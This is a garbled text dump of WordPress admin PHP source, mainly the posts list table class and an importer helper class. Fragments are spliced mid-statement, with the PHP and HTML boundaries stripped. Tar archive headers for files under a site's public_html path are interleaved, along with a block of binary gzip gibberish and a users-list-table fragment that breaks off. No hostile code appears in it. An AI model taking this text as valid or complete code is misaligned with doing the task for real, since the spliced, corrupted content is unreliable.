months_dropdown( $this->screen->post_type ); $this->categories_dropdown( $this->screen->post_type ); $this->formats_dropdown( $this->screen->post_type ); /** * Fires before the Filter button on the Posts and Pages list tables. * * The Filter button allows sorting by date and/or category on the * Posts list table, and sorting by date on the Pages list table. * * @since 2.1.0 * @since 4.4.0 The `$post_type` parameter was added. * @since 4.6.0 The `$which` parameter was added. * * @param string $post_type The post type slug. * @param string $which The location of the extra table nav markup: * 'top' or 'bottom' for WP_Posts_List_Table, * 'bar' for WP_Media_List_Table. */ do_action( 'restrict_manage_posts', $this->screen->post_type, $which ); $output = ob_get_clean(); if ( ! empty( $output ) ) { echo $output; submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) ); } } if ( $this->is_trash && $this->has_items() && current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_others_posts ) ) { submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false ); } ?>
screen->post_type ) ? 'pages' : 'posts', ); } /** * @return array */ public function get_columns() { $post_type = $this->screen->post_type; $posts_columns = array(); $posts_columns['cb'] = ''; /* translators: Posts screen column name. */ $posts_columns['title'] = _x( 'Title', 'column name' ); if ( post_type_supports( $post_type, 'author' ) ) { $posts_columns['author'] = __( 'Author' ); } $taxonomies = get_object_taxonomies( $post_type, 'objects' ); $taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' ); /** * Filters the taxonomy columns in the Posts list table. * * The dynamic portion of the hook name, `$post_type`, refers to the post * type slug. * * Possible hook names include: * * - `manage_taxonomies_for_post_columns` * - `manage_taxonomies_for_page_columns` * * @since 3.5.0 * * @param string[] $taxonomies Array of taxonomy names to show columns for. * @param string $post_type The post type. */ $taxonomies = apply_filters( "manage_taxonomies_for_{$post_type}_columns", $taxonomies, $post_type ); $taxonomies = array_filter( $taxonomies, 'taxonomy_exists' ); foreach ( $taxonomies as $taxonomy ) { if ( 'category' === $taxonomy ) { $column_key = 'categories'; } elseif ( 'post_tag' === $taxonomy ) { $column_key = 'tags'; } else { $column_key = 'taxonomy-' . $taxonomy; } $posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name; } $post_status = ! empty( $_REQUEST['post_status'] ) ? $_REQUEST['post_status'] : 'all'; if ( post_type_supports( $post_type, 'comments' ) && ! in_array( $post_status, array( 'pending', 'draft', 'future' ), true ) ) { $posts_columns['comments'] = sprintf( '%2$s', esc_attr__( 'Comments' ), __( 'Comments' ) ); } $posts_columns['date'] = __( 'Date' ); if ( 'page' === $post_type ) { /** * Filters the columns displayed in the Pages list table. * * @since 2.5.0 * * @param string[] $post_columns An associative array of column headings. */ $posts_columns = apply_filters( 'manage_pages_columns', $posts_columns ); } else { /** * Filters the columns displayed in the Posts list table. * * @since 1.5.0 * * @param string[] $post_columns An associative array of column headings. * @param string $post_type The post type slug. */ $posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type ); } /** * Filters the columns displayed in the Posts list table for a specific post type. * * The dynamic portion of the hook name, `$post_type`, refers to the post type slug. * * Possible hook names include: * * - `manage_post_posts_columns` * - `manage_page_posts_columns` * * @since 3.0.0 * * @param string[] $post_columns An associative array of column headings. */ return apply_filters( "manage_{$post_type}_posts_columns", $posts_columns ); } /** * @return array */ protected function get_sortable_columns() { return array( 'title' => 'title', 'parent' => 'parent', 'comments' => 'comment_count', 'date' => array( 'date', true ), ); } /** * @global WP_Query $wp_query WordPress Query object. * @global int $per_page * @param array $posts * @param int $level */ public function display_rows( $posts = array(), $level = 0 ) { global $wp_query, $per_page; if ( empty( $posts ) ) { $posts = $wp_query->posts; } add_filter( 'the_title', 'esc_html' ); if ( $this->hierarchical_display ) { $this->_display_rows_hierarchical( $posts, $this->get_pagenum(), $per_page ); } else { $this->_display_rows( $posts, $level ); } } /** * @param array $posts * @param int $level */ private function _display_rows( $posts, $level = 0 ) { $post_type = $this->screen->post_type; // Create array of post IDs. $post_ids = array(); foreach ( $posts as $a_post ) { $post_ids[] = $a_post->ID; } if ( post_type_supports( $post_type, 'comments' ) ) { $this->comment_pending_count = get_pending_comments_num( $post_ids ); } foreach ( $posts as $post ) { $this->single_row( $post, $level ); } } /** * @global wpdb $wpdb WordPress database abstraction object. * @global WP_Post $post Global post object. * @param array $pages * @param int $pagenum * @param int $per_page */ private function _display_rows_hierarchical( $pages, $pagenum = 1, $per_page = 20 ) { global $wpdb; $level = 0; if ( ! $pages ) { $pages = get_pages( array( 'sort_column' => 'menu_order' ) ); if ( ! $pages ) { return; } } /* * Arrange pages into two parts: top level pages and children_pages. * children_pages is two dimensional array. Example: * children_pages[10][] contains all sub-pages whose parent is 10. * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations * If searching, ignore hierarchy and treat everything as top level */ if ( empty( $_REQUEST['s'] ) ) { $top_level_pages = array(); $children_pages = array(); foreach ( $pages as $page ) { // Catch and repair bad pages. if ( $page->post_parent === $page->ID ) { $page->post_parent = 0; $wpdb->update( $wpdb->posts, array( 'post_parent' => 0 ), array( 'ID' => $page->ID ) ); clean_post_cache( $page ); } if ( $page->post_parent > 0 ) { $children_pages[ $page->post_parent ][] = $page; } else { $top_level_pages[] = $page; } } $pages = &$top_level_pages; } $count = 0; $start = ( $pagenum - 1 ) * $per_page; $end = $start + $per_page; $to_display = array(); foreach ( $pages as $page ) { if ( $count >= $end ) { break; } if ( $count >= $start ) { $to_display[ $page->ID ] = $level; } $count++; if ( isset( $children_pages ) ) { $this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display ); } } // If it is the last pagenum and there are orphaned pages, display them with paging as well. if ( isset( $children_pages ) && $count < $end ) { foreach ( $children_pages as $orphans ) { foreach ( $orphans as $op ) { if ( $count >= $end ) { break; } if ( $count >= $start ) { $to_display[ $op->ID ] = 0; } $count++; } } } $ids = array_keys( $to_display ); _prime_post_caches( $ids ); if ( ! isset( $GLOBALS['post'] ) ) { $GLOBALS['post'] = reset( $ids ); } foreach ( $to_display as $page_id => $level ) { echo "\t"; $this->single_row( $page_id, $level ); } } /** * Given a top level page ID, display the nested hierarchy of sub-pages * together with paging support * * @since 3.1.0 (Standalone function exists since 2.6.0) * @since 4.2.0 Added the `$to_display` parameter. * * @param array $children_pages * @param int $count * @param int $parent_page * @param int $level * @param int $pagenum * @param int $per_page * @param array $to_display List of pages to be displayed. Passed by reference. */ private function _page_rows( &$children_pages, &$count, $parent_page, $level, $pagenum, $per_page, &$to_display ) { if ( ! isset( $children_pages[ $parent_page ] ) ) { return; } $start = ( $pagenum - 1 ) * $per_page; $end = $start + $per_page; foreach ( $children_pages[ $parent_page ] as $page ) { if ( $count >= $end ) { break; } // If the page starts in a subtree, print the parents. if ( $count === $start && $page->post_parent > 0 ) { $my_parents = array(); $my_parent = $page->post_parent; while ( $my_parent ) { // Get the ID from the list or the attribute if my_parent is an object. $parent_id = $my_parent; if ( is_object( $my_parent ) ) { $parent_id = $my_parent->ID; } $my_parent = get_post( $parent_id ); $my_parents[] = $my_parent; if ( ! $my_parent->post_parent ) { break; } $my_parent = $my_parent->post_parent; } $num_parents = count( $my_parents ); while ( $my_parent = array_pop( $my_parents ) ) { $to_display[ $my_parent->ID ] = $level - $num_parents; $num_parents--; } } if ( $count >= $start ) { $to_display[ $page->ID ] = $level; } $count++; $this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display ); } unset( $children_pages[ $parent_page ] ); // Required in order to keep track of orphans. } /** * Handles the checkbox column output. * * @since 4.3.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post $item The current WP_Post object. */ public function column_cb( $item ) { // Restores the more descriptive, specific name for use within this method. $post = $item; $show = current_user_can( 'edit_post', $post->ID ); /** * Filters whether to show the bulk edit checkbox for a post in its list table. * * By default the checkbox is only shown if the current user can edit the post. * * @since 5.7.0 * * @param bool $show Whether to show the checkbox. * @param WP_Post $post The current WP_Post object. */ if ( apply_filters( 'wp_list_table_show_post_checkbox', $show, $post ) ) : ?>
'; echo $this->column_title( $post ); echo $this->handle_row_actions( $post, 'title', $primary ); echo ''; } /** * Handles the title column output. * * @since 4.3.0 * * @global string $mode List table view mode. * * @param WP_Post $post The current WP_Post object. */ public function column_title( $post ) { global $mode; if ( $this->hierarchical_display ) { if ( 0 === $this->current_level && (int) $post->post_parent > 0 ) { // Sent level 0 by accident, by default, or because we don't know the actual level. $find_main_page = (int) $post->post_parent; while ( $find_main_page > 0 ) { $parent = get_post( $find_main_page ); if ( is_null( $parent ) ) { break; } $this->current_level++; $find_main_page = (int) $parent->post_parent; if ( ! isset( $parent_name ) ) { /** This filter is documented in wp-includes/post-template.php */ $parent_name = apply_filters( 'the_title', $parent->post_title, $parent->ID ); } } } } $can_edit_post = current_user_can( 'edit_post', $post->ID ); if ( $can_edit_post && 'trash' !== $post->post_status ) { $lock_holder = wp_check_post_lock( $post->ID ); if ( $lock_holder ) { $lock_holder = get_userdata( $lock_holder ); $locked_avatar = get_avatar( $lock_holder->ID, 18 ); /* translators: %s: User's display name. */ $locked_text = esc_html( sprintf( __( '%s is currently editing' ), $lock_holder->display_name ) ); } else { $locked_avatar = ''; $locked_text = ''; } echo '
' . $locked_avatar . ' ' . $locked_text . "
\n"; } $pad = str_repeat( '— ', $this->current_level ); echo ''; $title = _draft_or_post_title(); if ( $can_edit_post && 'trash' !== $post->post_status ) { printf( '%s%s', get_edit_post_link( $post->ID ), /* translators: %s: Post title. */ esc_attr( sprintf( __( '“%s” (Edit)' ), $title ) ), $pad, $title ); } else { printf( '%s%s', $pad, $title ); } _post_states( $post ); if ( isset( $parent_name ) ) { $post_type_object = get_post_type_object( $post->post_type ); echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html( $parent_name ); } echo "\n"; if ( 'excerpt' === $mode && ! is_post_type_hierarchical( $this->screen->post_type ) && current_user_can( 'read_post', $post->ID ) ) { if ( post_password_required( $post ) ) { echo '' . esc_html( get_the_excerpt() ) . ''; } else { echo esc_html( get_the_excerpt() ); } } get_inline_data( $post ); } /** * Handles the post date column output. * * @since 4.3.0 * * @global string $mode List table view mode. * * @param WP_Post $post The current WP_Post object. */ public function column_date( $post ) { global $mode; if ( '0000-00-00 00:00:00' === $post->post_date ) { $t_time = __( 'Unpublished' ); $time_diff = 0; } else { $t_time = sprintf( /* translators: 1: Post date, 2: Post time. */ __( '%1$s at %2$s' ), /* translators: Post date format. See https://www.php.net/manual/datetime.format.php */ get_the_time( __( 'Y/m/d' ), $post ), /* translators: Post time format. See https://www.php.net/manual/datetime.format.php */ get_the_time( __( 'g:i a' ), $post ) ); $time = get_post_timestamp( $post ); $time_diff = time() - $time; } if ( 'publish' === $post->post_status ) { $status = __( 'Published' ); } elseif ( 'future' === $post->post_status ) { if ( $time_diff > 0 ) { $status = '' . __( 'Missed schedule' ) . ''; } else { $status = __( 'Scheduled' ); } } else { $status = __( 'Last Modified' ); } /** * Filters the status text of the post. * * @since 4.8.0 * * @param string $status The status text. * @param WP_Post $post Post object. * @param string $column_name The column name. * @param string $mode The list display mode ('excerpt' or 'list'). */ $status = apply_filters( 'post_date_column_status', $status, $post, 'date', $mode ); if ( $status ) { echo $status . '
'; } /** * Filters the published time of the post. * * @since 2.5.1 * @since 5.5.0 Removed the difference between 'excerpt' and 'list' modes. * The published time and date are both displayed now, * which is equivalent to the previous 'excerpt' mode. * * @param string $t_time The published time. * @param WP_Post $post Post object. * @param string $column_name The column name. * @param string $mode The list display mode ('excerpt' or 'list'). */ echo apply_filters( 'post_date_column_time', $t_time, $post, 'date', $mode ); } /** * Handles the comments column output. * * @since 4.3.0 * * @param WP_Post $post The current WP_Post object. */ public function column_comments( $post ) { ?>
comment_pending_count[ $post->ID ] ) ? $this->comment_pending_count[ $post->ID ] : 0; $this->comments_bubble( $post->ID, $pending_comments ); ?>
$post->post_type, 'author' => get_the_author_meta( 'ID' ), ); echo $this->get_edit_link( $args, get_the_author() ); } /** * Handles the default column output. * * @since 4.3.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post $item The current WP_Post object. * @param string $column_name The current column name. */ public function column_default( $item, $column_name ) { // Restores the more descriptive, specific name for use within this method. $post = $item; if ( 'categories' === $column_name ) { $taxonomy = 'category'; } elseif ( 'tags' === $column_name ) { $taxonomy = 'post_tag'; } elseif ( 0 === strpos( $column_name, 'taxonomy-' ) ) { $taxonomy = substr( $column_name, 9 ); } else { $taxonomy = false; } if ( $taxonomy ) { $taxonomy_object = get_taxonomy( $taxonomy ); $terms = get_the_terms( $post->ID, $taxonomy ); if ( is_array( $terms ) ) { $term_links = array(); foreach ( $terms as $t ) { $posts_in_term_qv = array(); if ( 'post' !== $post->post_type ) { $posts_in_term_qv['post_type'] = $post->post_type; } if ( $taxonomy_object->query_var ) { $posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug; } else { $posts_in_term_qv['taxonomy'] = $taxonomy; $posts_in_term_qv['term'] = $t->slug; } $label = esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) ); $term_links[] = $this->get_edit_link( $posts_in_term_qv, $label ); } /** * Filters the links in `$taxonomy` column of edit.php. * * @since 5.2.0 * * @param string[] $term_links Array of term editing links. * @param string $taxonomy Taxonomy name. * @param WP_Term[] $terms Array of term objects appearing in the post row. */ $term_links = apply_filters( 'post_column_taxonomy_links', $term_links, $taxonomy, $terms ); echo implode( wp_get_list_item_separator(), $term_links ); } else { echo '' . $taxonomy_object->labels->no_terms . ''; } return; } if ( is_post_type_hierarchical( $post->post_type ) ) { /** * Fires in each custom column on the Posts list table. * * This hook only fires if the current post type is hierarchical, * such as pages. * * @since 2.5.0 * * @param string $column_name The name of the column to display. * @param int $post_id The current post ID. */ do_action( 'manage_pages_custom_column', $column_name, $post->ID ); } else { /** * Fires in each custom column in the Posts list table. * * This hook only fires if the current post type is non-hierarchical, * such as posts. * * @since 1.5.0 * * @param string $column_name The name of the column to display. * @param int $post_id The current post ID. */ do_action( 'manage_posts_custom_column', $column_name, $post->ID ); } /** * Fires for each custom column of a specific post type in the Posts list table. * * The dynamic portion of the hook name, `$post->post_type`, refers to the post type. * * Possible hook names include: * * - `manage_post_posts_custom_column` * - `manage_page_posts_custom_column` * * @since 3.1.0 * * @param string $column_name The name of the column to display. * @param int $post_id The current post ID. */ do_action( "manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID ); } /** * @global WP_Post $post Global post object. * * @param int|WP_Post $post * @param int $level */ public function single_row( $post, $level = 0 ) { $global_post = get_post(); $post = get_post( $post ); $this->current_level = $level; $GLOBALS['post'] = $post; setup_postdata( $post ); $classes = 'iedit author-' . ( get_current_user_id() === (int) $post->post_author ? 'self' : 'other' ); $lock_holder = wp_check_post_lock( $post->ID ); if ( $lock_holder ) { $classes .= ' wp-locked'; } if ( $post->post_parent ) { $count = count( get_post_ancestors( $post->ID ) ); $classes .= ' level-' . $count; } else { $classes .= ' level-0'; } ?> single_row_columns( $post ); ?> post_type ); $can_edit_post = current_user_can( 'edit_post', $post->ID ); $actions = array(); $title = _draft_or_post_title(); if ( $can_edit_post && 'trash' !== $post->post_status ) { $actions['edit'] = sprintf( '%s', get_edit_post_link( $post->ID ), /* translators: %s: Post title. */ esc_attr( sprintf( __( 'Edit “%s”' ), $title ) ), __( 'Edit' ) ); if ( 'wp_block' !== $post->post_type ) { $actions['inline hide-if-no-js'] = sprintf( '', /* translators: %s: Post title. */ esc_attr( sprintf( __( 'Quick edit “%s” inline' ), $title ) ), __( 'Quick Edit' ) ); } } if ( current_user_can( 'delete_post', $post->ID ) ) { if ( 'trash' === $post->post_status ) { $actions['untrash'] = sprintf( '%s', wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&action=untrash', $post->ID ) ), 'untrash-post_' . $post->ID ), /* translators: %s: Post title. */ esc_attr( sprintf( __( 'Restore “%s” from the Trash' ), $title ) ), __( 'Restore' ) ); } elseif ( EMPTY_TRASH_DAYS ) { $actions['trash'] = sprintf( '%s', get_delete_post_link( $post->ID ), /* translators: %s: Post title. */ esc_attr( sprintf( __( 'Move “%s” to the Trash' ), $title ) ), _x( 'Trash', 'verb' ) ); } if ( 'trash' === $post->post_status || ! EMPTY_TRASH_DAYS ) { $actions['delete'] = sprintf( '%s', get_delete_post_link( $post->ID, '', true ), /* translators: %s: Post title. */ esc_attr( sprintf( __( 'Delete “%s” permanently' ), $title ) ), __( 'Delete Permanently' ) ); } } if ( is_post_type_viewable( $post_type_object ) ) { if ( in_array( $post->post_status, array( 'pending', 'draft', 'future' ), true ) ) { if ( $can_edit_post ) { $preview_link = get_preview_post_link( $post ); $actions['view'] = sprintf( '%s', esc_url( $preview_link ), /* translators: %s: Post title. */ esc_attr( sprintf( __( 'Preview “%s”' ), $title ) ), __( 'Preview' ) ); } } elseif ( 'trash' !== $post->post_status ) { $actions['view'] = sprintf( '%s', get_permalink( $post->ID ), /* translators: %s: Post title. */ esc_attr( sprintf( __( 'View “%s”' ), $title ) ), __( 'View' ) ); } } if ( 'wp_block' === $post->post_type ) { $actions['export'] = sprintf( '', $post->ID, /* translators: %s: Post title. */ esc_attr( sprintf( __( 'Export “%s” as JSON' ), $title ) ), __( 'Export as JSON' ) ); } if ( is_post_type_hierarchical( $post->post_type ) ) { /** * Filters the array of row action links on the Pages list table. * * The filter is evaluated only for hierarchical post types. * * @since 2.8.0 * * @param string[] $actions An array of row action links. Defaults are * 'Edit', 'Quick Edit', 'Restore', 'Trash', * 'Delete Permanently', 'Preview', and 'View'. * @param WP_Post $post The post object. */ $actions = apply_filters( 'page_row_actions', $actions, $post ); } else { /** * Filters the array of row action links on the Posts list table. * * The filter is evaluated only for non-hierarchical post types. * * @since 2.8.0 * * @param string[] $actions An array of row action links. Defaults are * 'Edit', 'Quick Edit', 'Restore', 'Trash', * 'Delete Permanently', 'Preview', and 'View'. * @param WP_Post $post The post object. */ $actions = apply_filters( 'post_row_actions', $actions, $post ); } return $this->row_actions( $actions ); } /** * Outputs the hidden row displayed when inline editing * * @since 3.1.0 * * @global string $mode List table view mode. */ public function inline_edit() { global $mode; $screen = $this->screen; $post = get_default_post_to_edit( $screen->post_type ); $post_type_object = get_post_type_object( $screen->post_type ); $taxonomy_names = get_object_taxonomies( $screen->post_type ); $hierarchical_taxonomies = array(); $flat_taxonomies = array(); foreach ( $taxonomy_names as $taxonomy_name ) { $taxonomy = get_taxonomy( $taxonomy_name ); $show_in_quick_edit = $taxonomy->show_in_quick_edit; /** * Filters whether the current taxonomy should be shown in the Quick Edit panel. * * @since 4.2.0 * * @param bool $show_in_quick_edit Whether to show the current taxonomy in Quick Edit. * @param string $taxonomy_name Taxonomy name. * @param string $post_type Post type of current Quick Edit post. */ if ( ! apply_filters( 'quick_edit_show_taxonomy', $show_in_quick_edit, $taxonomy_name, $screen->post_type ) ) { continue; } if ( $taxonomy->hierarchical ) { $hierarchical_taxonomies[] = $taxonomy; } else { $flat_taxonomies[] = $taxonomy; } } $m = ( isset( $mode ) && 'excerpt' === $mode ) ? 'excerpt' : 'list'; $can_publish = current_user_can( $post_type_object->cap->publish_posts ); $core_columns = array( 'cb' => true, 'date' => true, 'title' => true, 'categories' => true, 'tags' => true, 'comments' => true, 'author' => true, ); ?>
post_type}"; $quick_edit_classes = "quick-edit-row quick-edit-row-$hclass inline-edit-{$screen->post_type}"; $bulk = 0; while ( $bulk < 2 ) : $classes = $inline_edit_classes . ' '; $classes .= $bulk ? $bulk_edit_classes : $quick_edit_classes; ?>
prepare( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = %s LIMIT %d,%d", $meta_key, $offset, $limit ); $results = $wpdb->get_results( $sql ); // Increment offset. $offset = ( $limit + $offset ); if ( ! empty( $results ) ) { foreach ( $results as $r ) { // Set permalinks into array. $hashtable[ $r->meta_value ] = (int) $r->post_id; } } } while ( count( $results ) == $limit ); return $hashtable; } /** * Return count of imported permalinks from WordPress database * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $importer_name * @param string $blog_id * @return int */ public function count_imported_posts( $importer_name, $blog_id ) { global $wpdb; $count = 0; // Get count of permalinks. $meta_key = $importer_name . '_' . $blog_id . '_permalink'; $sql = $wpdb->prepare( "SELECT COUNT( post_id ) AS cnt FROM $wpdb->postmeta WHERE meta_key = %s", $meta_key ); $result = $wpdb->get_results( $sql ); if ( ! empty( $result ) ) { $count = (int) $result[0]->cnt; } return $count; } /** * Set array with imported comments from WordPress database * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $blog_id * @return array */ public function get_imported_comments( $blog_id ) { global $wpdb; $hashtable = array(); $limit = 100; $offset = 0; // Grab all comments in chunks. do { $sql = $wpdb->prepare( "SELECT comment_ID, comment_agent FROM $wpdb->comments LIMIT %d,%d", $offset, $limit ); $results = $wpdb->get_results( $sql ); // Increment offset. $offset = ( $limit + $offset ); if ( ! empty( $results ) ) { foreach ( $results as $r ) { // Explode comment_agent key. list ( $comment_agent_blog_id, $source_comment_id ) = explode( '-', $r->comment_agent ); $source_comment_id = (int) $source_comment_id; // Check if this comment came from this blog. if ( $blog_id == $comment_agent_blog_id ) { $hashtable[ $source_comment_id ] = (int) $r->comment_ID; } } } } while ( count( $results ) == $limit ); return $hashtable; } /** * @param int $blog_id * @return int|void */ public function set_blog( $blog_id ) { if ( is_numeric( $blog_id ) ) { $blog_id = (int) $blog_id; } else { $blog = 'http://' . preg_replace( '#^https?://#', '', $blog_id ); $parsed = parse_url( $blog ); if ( ! $parsed || empty( $parsed['host'] ) ) { fwrite( STDERR, "Error: can not determine blog_id from $blog_id\n" ); exit; } if ( empty( $parsed['path'] ) ) { $parsed['path'] = '/'; } $blogs = get_sites( array( 'domain' => $parsed['host'], 'number' => 1, 'path' => $parsed['path'], ) ); if ( ! $blogs ) { fwrite( STDERR, "Error: Could not find blog\n" ); exit; } $blog = array_shift( $blogs ); $blog_id = (int) $blog->blog_id; } if ( function_exists( 'is_multisite' ) ) { if ( is_multisite() ) { switch_to_blog( $blog_id ); } } return $blog_id; } /** * @param int $user_id * @return int|void */ public function set_user( $user_id ) { if ( is_numeric( $user_id ) ) { $user_id = (int) $user_id; } else { $user_id = (int) username_exists( $user_id ); } if ( ! $user_id || ! wp_set_current_user( $user_id ) ) { fwrite( STDERR, "Error: can not find user\n" ); exit; } return $user_id; } /** * Sort by strlen, longest string first * * @param string $a * @param string $b * @return int */ public function cmpr_strlen( $a, $b ) { return strlen( $b ) - strlen( $a ); } /** * GET URL * * @param string $url * @param string $username * @param string $password * @param bool $head * @return array */ public function get_page( $url, $username = '', $password = '', $head = false ) { // Increase the timeout. add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) ); $headers = array(); $args = array(); if ( true === $head ) { $args['method'] = 'HEAD'; } if ( ! empty( $username ) && ! empty( $password ) ) { $headers['Authorization'] = 'Basic ' . base64_encode( "$username:$password" ); } $args['headers'] = $headers; return wp_safe_remote_request( $url, $args ); } /** * Bump up the request timeout for http requests * * @param int $val * @return int */ public function bump_request_timeout( $val ) { return 60; } /** * Check if user has exceeded disk quota * * @return bool */ public function is_user_over_quota() { if ( function_exists( 'upload_is_user_over_quota' ) ) { if ( upload_is_user_over_quota() ) { return true; } } return false; } /** * Replace newlines, tabs, and multiple spaces with a single space. * * @param string $text * @return string */ public function min_whitespace( $text ) { return preg_replace( '|[\r\n\t ]+|', ' ', $text ); } /** * Resets global variables that grow out of control during imports. * * @since 3.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * @global int[] $wp_actions */ public function stop_the_insanity() { global $wpdb, $wp_actions; // Or define( 'WP_IMPORTING', true ); $wpdb->queries = array(); // Reset $wp_actions to keep it from growing out of control. $wp_actions = array(); } } /** * Returns value of command line params. * Exits when a required param is not set. * * @param string $param * @param bool $required * @return mixed */ function get_cli_args( $param, $required = false ) { $args = $_SERVER['argv']; if ( ! is_array( $args ) ) { $args = array(); } $out = array(); $last_arg = null; $return = null; $il = count( $args ); for ( $i = 1, $il; $i < $il; $i++ ) { if ( (bool) preg_match( '/^--(.+)/', $args[ $i ], $match ) ) { $parts = explode( '=', $match[1] ); $key = preg_replace( '/[^a-z0-9]+/', '', $parts[0] ); if ( isset( $parts[1] ) ) { $out[ $key ] = $parts[1]; } else { $out[ $key ] = true; } $last_arg = $key; } elseif ( (bool) preg_match( '/^-([a-zA-Z0-9]+)/', $args[ $i ], $match ) ) { for ( $j = 0, $jl = strlen( $match[1] ); $j < $jl; $j++ ) { $key = $match[1][ $j ]; $out[ $key ] = true; } $last_arg = $key; } elseif ( null !== $last_arg ) { $out[ $last_arg ] = $args[ $i ]; } } // Check array for specified param. if ( isset( $out[ $param ] ) ) { // Set return value. $return = $out[ $param ]; } // Check for missing required param. if ( ! isset( $out[ $param ] ) && $required ) { // Display message and exit. echo "\"$param\" parameter is required but was not specified\n"; exit; } return $return; } class-bulk-plugin-upgrader-skin.php.php.tar.gz000064400000001666152377531730015402 0ustar00Vo"7W+h!_M$л>ԇVzQev`komoz{.dKk3o6*go%I<.ʕ \OŐ91(SfDPcR< QZӔyrTl76FϏɛɷbr9|6\R_hayj&qcɭo3=l3x`y[䁮tzw[SjGQK 棋ځAە2wQ]E;}Y VAU_87mw`vWc[&Ss$>[ap)5} a/bᆑTąp`7d{6+eb@Ӕ\ AVA5vhxTAfEIs6~.6Ke >>(Kȭ; 懲Heȱju\eU}'+2`$Đ sw !=ܱY֝t Nwg{gd©Ti:[#>$+@Kai /w}pAX(f^9NYY5*ECY8q˔r{\\jB}] ҐE7K0b3mE6e7g]sޜu.kȈeRj}\|R^]p[1 ;\BJM!0A|ݪ uThHJ}+ J~tW 8&Jivz%6Tjq pz l#.nC8~#傮bUB''k'jqDž҅hܯ9IQ#5*6;9 5vXm #(3??5Ϫl _5824 |л]ot=G"Nv_HUclass-wp-ms-users-list-table.php.tar000064400000040000152377531730013414 0ustar00home/quizenacom/public_html/wp-admin/includes/class-wp-ms-users-list-table.php000064400000034603152377461030023565 0ustar00get_items_per_page( 'users_network_per_page' ); $role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : ''; $paged = $this->get_pagenum(); $args = array( 'number' => $users_per_page, 'offset' => ( $paged - 1 ) * $users_per_page, 'search' => $usersearch, 'blog_id' => 0, 'fields' => 'all_with_meta', ); if ( wp_is_large_network( 'users' ) ) { $args['search'] = ltrim( $args['search'], '*' ); } elseif ( '' !== $args['search'] ) { $args['search'] = trim( $args['search'], '*' ); $args['search'] = '*' . $args['search'] . '*'; } if ( 'super' === $role ) { $args['login__in'] = get_super_admins(); } /* * If the network is large and a search is not being performed, * show only the latest users with no paging in order to avoid * expensive count queries. */ if ( ! $usersearch && wp_is_large_network( 'users' ) ) { if ( ! isset( $_REQUEST['orderby'] ) ) { $_GET['orderby'] = 'id'; $_REQUEST['orderby'] = 'id'; } if ( ! isset( $_REQUEST['order'] ) ) { $_GET['order'] = 'DESC'; $_REQUEST['order'] = 'DESC'; } $args['count_total'] = false; } if ( isset( $_REQUEST['orderby'] ) ) { $args['orderby'] = $_REQUEST['orderby']; } if ( isset( $_REQUEST['order'] ) ) { $args['order'] = $_REQUEST['order']; } /** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */ $args = apply_filters( 'users_list_table_query_args', $args ); // Query the user IDs for this page. $wp_user_search = new WP_User_Query( $args ); $this->items = $wp_user_search->get_results(); $this->set_pagination_args( array( 'total_items' => $wp_user_search->get_total(), 'per_page' => $users_per_page, ) ); } /** * @return array */ protected function get_bulk_actions() { $actions = array(); if ( current_user_can( 'delete_users' ) ) { $actions['delete'] = __( 'Delete' ); } $actions['spam'] = _x( 'Mark as spam', 'user' ); $actions['notspam'] = _x( 'Not spam', 'user' ); return $actions; } /** */ public function no_items() { _e( 'No users found.' ); } /** * @global string $role * @return array */ protected function get_views() { global $role; $total_users = get_user_count(); $super_admins = get_super_admins(); $total_admins = count( $super_admins ); $current_link_attributes = 'super' !== $role ? ' class="current" aria-current="page"' : ''; $role_links = array(); $role_links['all'] = sprintf( '%s', network_admin_url( 'users.php' ), $current_link_attributes, sprintf( /* translators: Number of users. */ _nx( 'All (%s)', 'All (%s)', $total_users, 'users' ), number_format_i18n( $total_users ) ) ); $current_link_attributes = 'super' === $role ? ' class="current" aria-current="page"' : ''; $role_links['super'] = sprintf( '%s', network_admin_url( 'users.php?role=super' ), $current_link_attributes, sprintf( /* translators: Number of users. */ _n( 'Super Admin (%s)', 'Super Admins (%s)', $total_admins ), number_format_i18n( $total_admins ) ) ); return $role_links; } /** * @global string $mode List table view mode. * * @param string $which */ protected function pagination( $which ) { global $mode; parent::pagination( $which ); if ( 'top' === $which ) { $this->view_switcher( $mode ); } } /** * @return array */ public function get_columns() { $users_columns = array( 'cb' => '', 'username' => __( 'Username' ), 'name' => __( 'Name' ), 'email' => __( 'Email' ), 'registered' => _x( 'Registered', 'user' ), 'blogs' => __( 'Sites' ), ); /** * Filters the columns displayed in the Network Admin Users list table. * * @since MU (3.0.0) * * @param string[] $users_columns An array of user columns. Default 'cb', 'username', * 'name', 'email', 'registered', 'blogs'. */ return apply_filters( 'wpmu_users_columns', $users_columns ); } /** * @return array */ protected function get_sortable_columns() { return array( 'username' => 'login', 'name' => 'name', 'email' => 'email', 'registered' => 'id', ); } /** * Handles the checkbox column output. * * @since 4.3.0 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_User $item The current WP_User object. */ public function column_cb( $item ) { // Restores the more descriptive, specific name for use within this method. $user = $item; if ( is_super_admin( $user->ID ) ) { return; } ?> ID; } /** * Handles the username column output. * * @since 4.3.0 * * @param WP_User $user The current WP_User object. */ public function 